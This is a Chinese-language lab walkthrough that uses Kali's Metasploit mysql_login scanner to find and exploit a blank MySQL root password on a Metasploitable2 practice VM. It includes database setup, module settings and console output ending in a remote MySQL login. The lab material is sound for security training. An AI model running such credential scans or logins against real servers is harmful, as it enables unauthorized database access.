kali扫描Metasploit2靶机上MySQL服务的空密码

实验环境

Linux kali 5.18.0-kali5-amd64

• kali嘛，到这里的都知道啦

Linux metasploitable 2.6.24-16-server

• metasploitable 是用于评估 metasploit 的靶机，是一个 Ubuntu-Linux 虚拟机，用于测试常见漏洞。

实验步骤

1、启动kail数据库

在kali中metasploit默认使用postgresql作为它的数据库

• 首先使用如下方式启动

启动数据库
方式1：
┌──(root㉿kali)-[~]
└─# systemctl start postgresql

方式2：
┌──(root㉿kali)-[~]
└─# /etc/init.d/postgresql start

方式3：
┌──(root㉿kali)-[~]
└─# service postgresql start

查看数据库启动状态
┌──(root㉿kali)-[~]
└─# systemctl status postgresql

开机自启数据库
┌──(root㉿kali)-[~]
└─# systemctl enable postgresql

2、初始化MSF数据库

• 若没有初始化，则creds会出现错误

msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.xxx.xxx:3306  - 192.168.xxx.xxx:3306 - Found remote MySQL version 5.0.51a
[!] 192.168.xxx.xxx:3306  - No active DB -- Credential data will not be saved!
[+] 192.168.xxx.xxx:3306  - 192.168.xxx.xxx:3306 - Success: 'root:'
[*] 192.168.xxx.xxx:3306  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

无活动数据库，凭证将不会被保存。查看主机信息和凭证信息，数据库未连接

[!] 192.168.xxx.xxx:3306  - No active DB -- Credential data will not be saved!

在使用creds，hosts查看时会出现报错 数据库未连接

msf6 auxiliary(scanner/mysql/mysql_login) > creds
[-] Database not connected
msf6 auxiliary(scanner/mysql/mysql_login) > hosts
[-] Database not connected

[-] Database not connected

（1）初始化

• 进入msf

┌──(root㉿kali)-[~]
└─# msfconsole

msf6 auxiliary(scanner/mysql/mysql_login) > db_status

结果如下：
[*] postgresql selected, no connection

msf6 auxiliary(scanner/mysql/mysql_login) > msfdb init

结果如下：
[*] exec: msfdb init

[i] Database already started
[+] Creating database user ‘msf’
为新角色输入的口令:
再输入一遍:
[+] Creating databases ‘msf’
[+] Creating databases ‘msf_test’
[+] Creating configuration file ‘/usr/share/metasploit-framework/config/database.yml’
[+] Creating initial database schema

• 如果已经初始化过，就输入

msfdb reinit

可以看到生成配置文件
/usr/share/metasploit-framework/config/database.yml

可以另起窗口，进入数据库

┌──(root㉿kali)-[~]
└─# sudo -u postgres psql
psql (14.4 (Debian 14.4-1+b1))
输入 "help" 来获取帮助信息.

postgres=# \du
                             角色列表
 角色名称 |                    属性                    | 成员属于
----------+--------------------------------------------+----------
 msf      |                                            | {}
 postgres | 超级用户, 建立角色, 建立 DB, 复制, 绕过RLS | {}

postgres=# \l
                                     数据库列表
   名称    |  拥有者  | 字元编码 |  校对规则   |    Ctype    |       存取权限
-----------+----------+----------+-------------+-------------+-----------------------
 msf       | msf      | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 msf_test  | msf      | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 postgres  | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 template0 | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(5 行记录)

• 回到msf，查看链接状态，如果还是未连接，退出msf，重新进入即可

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

完成初始化！

（2）kali 进入 msf ，利用模块进行扫描

• 搜索mysql_login模块

msf6 > search mysql_login

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/mysql/mysql_login                   normal  No     MySQL Login Utility


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_login

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) >

• 配置扫描数据

set rhosts 目标主机IP

set username root    #我们配置要爆破的用户

set blank_passwords true    #开启为所有用户尝试空密码 

show options #查看配置信息

• 运行run或者exploit

msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.149.130:3306  - 192.168.149.130:3306 - Found remote MySQL version 5.0.51a
[+] 192.168.149.130:3306  - 192.168.149.130:3306 - Success: 'root:'
[*] 192.168.149.130:3306  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

搜索完成

• 使用数据库进入命令，不指定密码，输入密码时回车进入

msf6 auxiliary(scanner/mysql/mysql_login) > mysql -h 192.168.149.130 -p
[*] exec: mysql -h 192.168.149.130 -p

Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>show databases;

总结

哈哈哈哈，睡觉咯